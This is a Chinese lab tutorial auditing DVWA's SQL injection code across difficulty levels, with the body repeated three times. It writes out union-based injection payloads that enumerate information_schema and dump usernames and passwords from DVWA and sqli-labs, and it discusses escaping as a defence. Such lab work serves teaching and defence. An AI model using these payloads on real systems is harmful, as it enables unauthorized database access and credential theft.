首页 > 数据库 >dvwa-sql代码审计

dvwa-sql代码审计

时间:2022-10-05 13:56:00浏览次数:45  
标签:审计 name union 单引号 dvwa sql mysqli id select

注入分为 数字型 字符型

dvwa-sql注入基础代码分析

<form action="#" method="GET">
			<p>
				User ID:
				<input type="text" size="15" name="id">
				<input type="submit" name="Submit" value="Submit">
			</p>
		</form>
form表单
action="#" #代表信息提交给当前页面
输入信息页面,同时这个页面判断你输入的信息
GET方法提交
input文本框
id中的数据就是用户输入的数据
submit 提交按钮 ,value 按钮上的值
点击提交提交给当前页面

找后台,对我们输入数据动态处理的源代码

<?php
  
  if( isset( $_REQUEST[ 'Submit' ] ) ) {														//判断submit的变量是否存在
    // Get input
    $id = $_REQUEST[ 'id' ];																				//获取id变量的值并赋值给变量$id
    
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";												//将select查询语句,赋值给变量$query,还没执行
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) 
      or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? 
                         mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
    //mysqli_query()执行mysql查询
    //die()函数输出一条信息,并退出当前脚本,
    //mysql_error()函数返回上一个mysql操作产生的文本错误信息
    //or之前的语句执行不成功时,才会执行后面的语句 
    //and之前的语句执行成功时们才会执行后面的语句 
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
      // Get values
      $first = $row["first_name"];
      $last  = $row["last_name"];
      
      // Feedback for end user
      echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    
    mysqli_close($GLOBALS["___mysqli_ston"]);
  }

?> 
  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) 
      or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? 
                         mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//就是先输出<pre>,然后输出中间的执行结果,再输出 <pre>.
   //单引号是直接原样输出的内容(输出<pre>),
   //   .  代表连接(连接括号中的信息)
   
   
   mysql_error()把没执行成功的错误信息显示出来
     
     
   两种情况,
     正确返回结果
     错误执行die()函数输出一条信息,并退出当前脚本,
     
     
    or前面的语句执行成功了,不会执行后面的语句
     or前面的语句执行失败了,才会执行后面的语句
     and 前面语句执行成功,才会执行后面语句
     前面错误,后面不执行
     
     mysql_query(),
       执行查询语句,返回结果集
       执行增删改之类的语句,返回true和false
  
     如果执行查询语句之类的(select),会返回一个资源标识符,也就是我们要查找的数据结果集
       就是,执行 mysql_query()函数之后的结果保存在$result中,但是不能直接使用echo 输出 $result 
 如果使用echo输出,只能看见结果集,无法看见结果
       原因:
       查询结果是一堆数据,没法显示,所以没法用echo直接输出
       
对查到的数据 $result 进行处理
while( $row = mysqli_fetch_assoc( $result ) ) {
      // Get values
      $first = $row["first_name"];
      $last  = $row["last_name"];
      
      // Feedback for end user
      echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }


$num=mysql_numrows($result)	//返回结果集中行的数目

mysql_result(结果集,行号,哪一个字段的值)函数返回结果中的一个字值
    行号从0开始

先得到结果集行数,然后从0开始循环,边循环边输出

SQL注入

数字型注入:
select name from users where user_id=$id
字符型注入:
select name from users where id='$id'

select name from users where user_id=1
select name from users where id='1'
在数据库中,两者查询结果相同

sql注入中两者不同,字符型单引号要闭合

无论何种类型,都可以通过直接输入单引号来判断是否存在注入点
可分别输入 3 和 1+2 ,根据显示结果来判断数据类型

小技巧:
比如,dvwa中输入 1+2 的结果和 输入 1 的结果相同,就是字符型
							输入 3 的结果相同,就是数字型
							
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

' or 1=1 or '	输出所有结果

SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 or '';
														假 or 真 or 假
1' or '1'='1
'or 1=1 #
'or 1=1 --

手工mysq注入流程

 1' order by 2 #
 1' union select 1,2 #
 1' union select user(),database() #
 ' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
 ' union select column_name,2 from information_schema.columns where table_name='users' #
 ' union select user,password from users#

sql-labs注入流程

?id=1
?id=1' 和第一个结果不同
?id=1 and 1=1 和第一个结果相同
?id=1 and 1=2 和第一个结果相同
?id=1 order by 3 和第一个结果相同
?id=1 order by 100000 为什么结果都和第一个一样
?id=-1 union 1,2,3 什么都不输出
?id=1 union select 1,database(),3 和第一个一样
?id=1' and 1=2 --+ 无输出

?id=-1 union select 1,group_concat(table_name)
from information_schema.tables
where table_schema=database()
没有结果

?id=3-1和?id=2结果相同
?id=2'# 报错
?id=1' order by 3 --+结果和1一样

id=1' order by 4 --+结果说有未知订单4,
说明就三个字段,id,username,password

?id=-1' union select 1,2,3 --+ 显示位为2,3
?id=1' and 1=2 union select 1,version(),database() --+
前面报错,执行后面的语句

?id=1' and 1=2 union select 1,(select group_concat(schema_name)
from information_schema.schemata),3 --+
查询数据库名

?id=1' and 1=2 union select 1,
(select group_concat(table_name)
from information_schema.tables
where table_schema='security'),3 --+
查询security内的所有表名

?id=1' and 1=2 union select 1,(select group_concat(column_name)
from information_schema.columns where table name='users'),3 --+
爆破列名

?id=1' and 1=2 union select 1,
(select group_concat(password) from security.users),
(select group_concat(username) from security.users) --+
爆用户名和密码

如何防御SQL注入

SQL注入漏洞形成原因:
用户构造的语句被代入到数据库中执行。

防御SQL注入的首要原则:
用户输入的一切都是有害的,或者说不被信任的。

防御SQL注入的主要方法:
对用户输入的数据进行过滤。

sql-Medium

过滤代码:
 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 
使用 mysql_real_escape_string() 函数对用户输入的id参数进行了过滤。

可以将 单引号'  双引号"  反斜杠\  空字符null 等进行转义

转义就是把指定的字符转换成无意义的符号,比如PHP解析器不会把经过转义的引号当成引号来看待。

php中另一个功能类似的函数:addslashes()  

原本 username='' or 1=1 or "											"	
转义之后 username='\' or 1=1 or \"											"

比如 用户名叫 ad'min ,名里面的单引号会和前面的单引号闭合

转义之后,就不会实现单引号本身的功能,就被当作是一个字符来看待

mysqli_real_escape_string()只适合 mysql 数据库

 id没有单引号,测试1+2,返回id=3对应结果,数字型注入漏洞,不应考虑闭合
 $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
1 order by 2

medium 对单引号之类的进行过滤,但在select语句id处没有单引号,所以是数字型注入,所以注入根本不需要闭合前面单引号,注入过程根本不需要单引号

high级别SQL注入漏洞


新版
// Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 

magic_quotes_gpc魔术引导(用来防止sql注入)

在php配置文件php.ini中存在magic_quotes_gpc 选项,被称为魔术引号

在high级别下,PHP的magic_quotes_gpc 被自动设为 on

开启之后,可以对所有的GET,POST,COOKIE传值的数据进行自动运行 addslashes()函数
对客户端传来的字符,自动进行转义
    
    实际中,这个魔术引号都是关闭的,就是有的服务器开了,有的没开,移植的时候容易出问题。
    php4出现,php6去掉
旧版:
$id=$_GET['id'];
$id=stripslashes($id);				//去掉反斜杠	,去掉魔术引号自动的转义				
$id=mysql_real_escape_string($id);		//加上反斜杠

stripslashes()函数作用是去掉由 addslashes() 函数添加的反斜杠,也就是去掉 addslashes() 函数的转义
关闭魔术引号

修改 c:\windows\php.ini文件
magic_quote_gpc=off

重启apache服务

单引号,字符型注入,闭合单引号

字符型并且加上转义

注入分为 数字型 字符型

dvwa-sql注入基础代码分析

<form action="#" method="GET">
			<p>
				User ID:
				<input type="text" size="15" name="id">
				<input type="submit" name="Submit" value="Submit">
			</p>
		</form>
form表单
action="#" #代表信息提交给当前页面
输入信息页面,同时这个页面判断你输入的信息
GET方法提交
input文本框
id中的数据就是用户输入的数据
submit 提交按钮 ,value 按钮上的值
点击提交提交给当前页面

找后台,对我们输入数据动态处理的源代码

<?php
  
  if( isset( $_REQUEST[ 'Submit' ] ) ) {														//判断submit的变量是否存在
    // Get input
    $id = $_REQUEST[ 'id' ];																				//获取id变量的值并赋值给变量$id
    
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";												//将select查询语句,赋值给变量$query,还没执行
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) 
      or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? 
                         mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
    //mysqli_query()执行mysql查询
    //die()函数输出一条信息,并退出当前脚本,
    //mysql_error()函数返回上一个mysql操作产生的文本错误信息
    //or之前的语句执行不成功时,才会执行后面的语句 
    //and之前的语句执行成功时们才会执行后面的语句 
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
      // Get values
      $first = $row["first_name"];
      $last  = $row["last_name"];
      
      // Feedback for end user
      echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    
    mysqli_close($GLOBALS["___mysqli_ston"]);
  }

?> 
  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) 
      or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? 
                         mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//就是先输出<pre>,然后输出中间的执行结果,再输出 <pre>.
   //单引号是直接原样输出的内容(输出<pre>),
   //   .  代表连接(连接括号中的信息)
   
   
   mysql_error()把没执行成功的错误信息显示出来
     
     
   两种情况,
     正确返回结果
     错误执行die()函数输出一条信息,并退出当前脚本,
     
     
    or前面的语句执行成功了,不会执行后面的语句
     or前面的语句执行失败了,才会执行后面的语句
     and 前面语句执行成功,才会执行后面语句
     前面错误,后面不执行
     
     mysql_query(),
       执行查询语句,返回结果集
       执行增删改之类的语句,返回true和false
  
     如果执行查询语句之类的(select),会返回一个资源标识符,也就是我们要查找的数据结果集
       就是,执行 mysql_query()函数之后的结果保存在$result中,但是不能直接使用echo 输出 $result 
 如果使用echo输出,只能看见结果集,无法看见结果
       原因:
       查询结果是一堆数据,没法显示,所以没法用echo直接输出
       
对查到的数据 $result 进行处理
while( $row = mysqli_fetch_assoc( $result ) ) {
      // Get values
      $first = $row["first_name"];
      $last  = $row["last_name"];
      
      // Feedback for end user
      echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }


$num=mysql_numrows($result)	//返回结果集中行的数目

mysql_result(结果集,行号,哪一个字段的值)函数返回结果中的一个字值
    行号从0开始

先得到结果集行数,然后从0开始循环,边循环边输出

SQL注入

数字型注入:
select name from users where user_id=$id
字符型注入:
select name from users where id='$id'

select name from users where user_id=1
select name from users where id='1'
在数据库中,两者查询结果相同

sql注入中两者不同,字符型单引号要闭合

无论何种类型,都可以通过直接输入单引号来判断是否存在注入点
可分别输入 3 和 1+2 ,根据显示结果来判断数据类型

小技巧:
比如,dvwa中输入 1+2 的结果和 输入 1 的结果相同,就是字符型
							输入 3 的结果相同,就是数字型
							
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

' or 1=1 or '	输出所有结果

SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 or '';
														假 or 真 or 假
1' or '1'='1
'or 1=1 #
'or 1=1 --

手工mysq注入流程

 1' order by 2 #
 1' union select 1,2 #
 1' union select user(),database() #
 ' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
 ' union select column_name,2 from information_schema.columns where table_name='users' #
 ' union select user,password from users#

sql-labs注入流程

?id=1
?id=1' 和第一个结果不同
?id=1 and 1=1 和第一个结果相同
?id=1 and 1=2 和第一个结果相同
?id=1 order by 3 和第一个结果相同
?id=1 order by 100000 为什么结果都和第一个一样
?id=-1 union 1,2,3 什么都不输出
?id=1 union select 1,database(),3 和第一个一样
?id=1' and 1=2 --+ 无输出

?id=-1 union select 1,group_concat(table_name)
from information_schema.tables
where table_schema=database()
没有结果

?id=3-1和?id=2结果相同
?id=2'# 报错
?id=1' order by 3 --+结果和1一样

id=1' order by 4 --+结果说有未知订单4,
说明就三个字段,id,username,password

?id=-1' union select 1,2,3 --+ 显示位为2,3
?id=1' and 1=2 union select 1,version(),database() --+
前面报错,执行后面的语句

?id=1' and 1=2 union select 1,(select group_concat(schema_name)
from information_schema.schemata),3 --+
查询数据库名

?id=1' and 1=2 union select 1,
(select group_concat(table_name)
from information_schema.tables
where table_schema='security'),3 --+
查询security内的所有表名

?id=1' and 1=2 union select 1,(select group_concat(column_name)
from information_schema.columns where table name='users'),3 --+
爆破列名

?id=1' and 1=2 union select 1,
(select group_concat(password) from security.users),
(select group_concat(username) from security.users) --+
爆用户名和密码

如何防御SQL注入

SQL注入漏洞形成原因:
用户构造的语句被代入到数据库中执行。

防御SQL注入的首要原则:
用户输入的一切都是有害的,或者说不被信任的。

防御SQL注入的主要方法:
对用户输入的数据进行过滤。

sql-Medium

过滤代码:
 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 
使用 mysql_real_escape_string() 函数对用户输入的id参数进行了过滤。

可以将 单引号'  双引号"  反斜杠\  空字符null 等进行转义

转义就是把指定的字符转换成无意义的符号,比如PHP解析器不会把经过转义的引号当成引号来看待。

php中另一个功能类似的函数:addslashes()  

原本 username='' or 1=1 or "											"	
转义之后 username='\' or 1=1 or \"											"

比如 用户名叫 ad'min ,名里面的单引号会和前面的单引号闭合

转义之后,就不会实现单引号本身的功能,就被当作是一个字符来看待

mysqli_real_escape_string()只适合 mysql 数据库

 id没有单引号,测试1+2,返回id=3对应结果,数字型注入漏洞,不应考虑闭合
 $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
1 order by 2

medium 对单引号之类的进行过滤,但在select语句id处没有单引号,所以是数字型注入,所以注入根本不需要闭合前面单引号,注入过程根本不需要单引号

high级别SQL注入漏洞


新版
// Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 

magic_quotes_gpc魔术引导(用来防止sql注入)

在php配置文件php.ini中存在magic_quotes_gpc 选项,被称为魔术引号

在high级别下,PHP的magic_quotes_gpc 被自动设为 on

开启之后,可以对所有的GET,POST,COOKIE传值的数据进行自动运行 addslashes()函数
对客户端传来的字符,自动进行转义
    
    实际中,这个魔术引号都是关闭的,就是有的服务器开了,有的没开,移植的时候容易出问题。
    php4出现,php6去掉
旧版:
$id=$_GET['id'];
$id=stripslashes($id);				//去掉反斜杠	,去掉魔术引号自动的转义				
$id=mysql_real_escape_string($id);		//加上反斜杠

stripslashes()函数作用是去掉由 addslashes() 函数添加的反斜杠,也就是去掉 addslashes() 函数的转义
关闭魔术引号

修改 c:\windows\php.ini文件
magic_quote_gpc=off

重启apache服务

单引号,字符型注入,闭合单引号

字符型并且加上转义

注入分为 数字型 字符型

dvwa-sql注入基础代码分析

<form action="#" method="GET">
			<p>
				User ID:
				<input type="text" size="15" name="id">
				<input type="submit" name="Submit" value="Submit">
			</p>
		</form>
form表单
action="#" #代表信息提交给当前页面
输入信息页面,同时这个页面判断你输入的信息
GET方法提交
input文本框
id中的数据就是用户输入的数据
submit 提交按钮 ,value 按钮上的值
点击提交提交给当前页面

找后台,对我们输入数据动态处理的源代码

<?php
  
  if( isset( $_REQUEST[ 'Submit' ] ) ) {														//判断submit的变量是否存在
    // Get input
    $id = $_REQUEST[ 'id' ];																				//获取id变量的值并赋值给变量$id
    
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";												//将select查询语句,赋值给变量$query,还没执行
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) 
      or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? 
                         mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
    //mysqli_query()执行mysql查询
    //die()函数输出一条信息,并退出当前脚本,
    //mysql_error()函数返回上一个mysql操作产生的文本错误信息
    //or之前的语句执行不成功时,才会执行后面的语句 
    //and之前的语句执行成功时们才会执行后面的语句 
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
      // Get values
      $first = $row["first_name"];
      $last  = $row["last_name"];
      
      // Feedback for end user
      echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
    
    mysqli_close($GLOBALS["___mysqli_ston"]);
  }

?> 
  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) 
      or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? 
                         mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//就是先输出<pre>,然后输出中间的执行结果,再输出 <pre>.
   //单引号是直接原样输出的内容(输出<pre>),
   //   .  代表连接(连接括号中的信息)
   
   
   mysql_error()把没执行成功的错误信息显示出来
     
     
   两种情况,
     正确返回结果
     错误执行die()函数输出一条信息,并退出当前脚本,
     
     
    or前面的语句执行成功了,不会执行后面的语句
     or前面的语句执行失败了,才会执行后面的语句
     and 前面语句执行成功,才会执行后面语句
     前面错误,后面不执行
     
     mysql_query(),
       执行查询语句,返回结果集
       执行增删改之类的语句,返回true和false
  
     如果执行查询语句之类的(select),会返回一个资源标识符,也就是我们要查找的数据结果集
       就是,执行 mysql_query()函数之后的结果保存在$result中,但是不能直接使用echo 输出 $result 
 如果使用echo输出,只能看见结果集,无法看见结果
       原因:
       查询结果是一堆数据,没法显示,所以没法用echo直接输出
       
对查到的数据 $result 进行处理
while( $row = mysqli_fetch_assoc( $result ) ) {
      // Get values
      $first = $row["first_name"];
      $last  = $row["last_name"];
      
      // Feedback for end user
      echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }


$num=mysql_numrows($result)	//返回结果集中行的数目

mysql_result(结果集,行号,哪一个字段的值)函数返回结果中的一个字值
    行号从0开始

先得到结果集行数,然后从0开始循环,边循环边输出

SQL注入

数字型注入:
select name from users where user_id=$id
字符型注入:
select name from users where id='$id'

select name from users where user_id=1
select name from users where id='1'
在数据库中,两者查询结果相同

sql注入中两者不同,字符型单引号要闭合

无论何种类型,都可以通过直接输入单引号来判断是否存在注入点
可分别输入 3 和 1+2 ,根据显示结果来判断数据类型

小技巧:
比如,dvwa中输入 1+2 的结果和 输入 1 的结果相同,就是字符型
							输入 3 的结果相同,就是数字型
							
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"

' or 1=1 or '	输出所有结果

SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 or '';
														假 or 真 or 假
1' or '1'='1
'or 1=1 #
'or 1=1 --

手工mysq注入流程

 1' order by 2 #
 1' union select 1,2 #
 1' union select user(),database() #
 ' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
 ' union select column_name,2 from information_schema.columns where table_name='users' #
 ' union select user,password from users#

sql-labs注入流程

?id=1
?id=1' 和第一个结果不同
?id=1 and 1=1 和第一个结果相同
?id=1 and 1=2 和第一个结果相同
?id=1 order by 3 和第一个结果相同
?id=1 order by 100000 为什么结果都和第一个一样
?id=-1 union 1,2,3 什么都不输出
?id=1 union select 1,database(),3 和第一个一样
?id=1' and 1=2 --+ 无输出

?id=-1 union select 1,group_concat(table_name)
from information_schema.tables
where table_schema=database()
没有结果

?id=3-1和?id=2结果相同
?id=2'# 报错
?id=1' order by 3 --+结果和1一样

id=1' order by 4 --+结果说有未知订单4,
说明就三个字段,id,username,password

?id=-1' union select 1,2,3 --+ 显示位为2,3
?id=1' and 1=2 union select 1,version(),database() --+
前面报错,执行后面的语句

?id=1' and 1=2 union select 1,(select group_concat(schema_name)
from information_schema.schemata),3 --+
查询数据库名

?id=1' and 1=2 union select 1,
(select group_concat(table_name)
from information_schema.tables
where table_schema='security'),3 --+
查询security内的所有表名

?id=1' and 1=2 union select 1,(select group_concat(column_name)
from information_schema.columns where table name='users'),3 --+
爆破列名

?id=1' and 1=2 union select 1,
(select group_concat(password) from security.users),
(select group_concat(username) from security.users) --+
爆用户名和密码

如何防御SQL注入

SQL注入漏洞形成原因:
用户构造的语句被代入到数据库中执行。

防御SQL注入的首要原则:
用户输入的一切都是有害的,或者说不被信任的。

防御SQL注入的主要方法:
对用户输入的数据进行过滤。

sql-Medium

过滤代码:
 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 
使用 mysql_real_escape_string() 函数对用户输入的id参数进行了过滤。

可以将 单引号'  双引号"  反斜杠\  空字符null 等进行转义

转义就是把指定的字符转换成无意义的符号,比如PHP解析器不会把经过转义的引号当成引号来看待。

php中另一个功能类似的函数:addslashes()  

原本 username='' or 1=1 or "											"	
转义之后 username='\' or 1=1 or \"											"

比如 用户名叫 ad'min ,名里面的单引号会和前面的单引号闭合

转义之后,就不会实现单引号本身的功能,就被当作是一个字符来看待

mysqli_real_escape_string()只适合 mysql 数据库

 id没有单引号,测试1+2,返回id=3对应结果,数字型注入漏洞,不应考虑闭合
 $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
1 order by 2

medium 对单引号之类的进行过滤,但在select语句id处没有单引号,所以是数字型注入,所以注入根本不需要闭合前面单引号,注入过程根本不需要单引号

high级别SQL注入漏洞


新版
// Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 

magic_quotes_gpc魔术引导(用来防止sql注入)

在php配置文件php.ini中存在magic_quotes_gpc 选项,被称为魔术引号

在high级别下,PHP的magic_quotes_gpc 被自动设为 on

开启之后,可以对所有的GET,POST,COOKIE传值的数据进行自动运行 addslashes()函数
对客户端传来的字符,自动进行转义
    
    实际中,这个魔术引号都是关闭的,就是有的服务器开了,有的没开,移植的时候容易出问题。
    php4出现,php6去掉
旧版:
$id=$_GET['id'];
$id=stripslashes($id);				//去掉反斜杠	,去掉魔术引号自动的转义				
$id=mysql_real_escape_string($id);		//加上反斜杠

stripslashes()函数作用是去掉由 addslashes() 函数添加的反斜杠,也就是去掉 addslashes() 函数的转义
关闭魔术引号

修改 c:\windows\php.ini文件
magic_quote_gpc=off

重启apache服务

单引号,字符型注入,闭合单引号

字符型并且加上转义

标签:审计,name,union,单引号,dvwa,sql,mysqli,id,select
From: https://www.cnblogs.com/gbt759/p/16755468.html

相关文章

  • MySQL的字段默认null对唯一索引的影响详解
    这篇文章主要为大家介绍了MySQL的字段默认null对唯一索引的影响详解,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪在日常业务开发中,会经常遇到需......
  • MYSQL学习笔记之索引
    (一)什么是索引??    索引(Index)是在数据库的字段上添加的,是为了提高查询的效率存在的一种机制。一张表的一个字段可以添加一个索引,当然,多个字段联合起来也可以添加索引。......
  • SQL语句的执行顺序
    原文链接:https://blog.csdn.net/weixin_37646636/article/details/121459732(8)SELECT(9)DISTINCT(11)(1)FROM(3)JOIN(2)ON(4)WHERE(5)GROUPBY(6)WITH{CUBE|......
  • 表的理解、SQL语句
    什么是表数据库中最基本的单元是表:table数据库当中是以表格的形式表示数据的,因为表比较直观任何一张表都有行和列:行(row):被称为数据/记录列(column):被称为字段姓名字段......
  • MySQL/MariaDB如何创建用户并限制指定才能IP访问?
    MySQL/MariaDB如何创建用户并限制指定才能IP访问?登入数据$mysql--versionmysqlVer15.1Distrib10.9.3-MariaDB,fordebian-linux-gnu(x86_64)usingreadline......
  • mysql常用命令
    MySQL常用命令退出mysql:exit查看mysql中有哪些数据库:showdatabases;注意:以分号结尾,分号是英文的分号mysql>showdatabases;+--------------------+|Database......
  • MySQL注入的几种绕过方式
        在平时进行MySQL注入的过程当中,有时会遇到过滤关键字的情况,这篇文章就介绍绕过几种过滤关键字的方式。    绕过过滤and和or    打开sqli的......
  • 刷题sql
    题目1084selectp.product_id,p.product_namefromProductpjoinSalessonp.product_id=s.product_idgroupbyproduct_idhavingmin(s.sale_date)>='2019-0......
  • 全国地区 4级 5级 mysql 数据
    4级数据     https://files.cnblogs.com/files/wlphp/area_4.sql.zip?t=1664897005......
  • Mysql学习记录
    1.mysql内连接和外连接的区别连接语法:joinxxonxx(可以在一个语句中多次使用)内连接(innerjoin):取出两张表中匹配到的数据,匹配不到的不保留外连接(outerjoin):其中外连接又......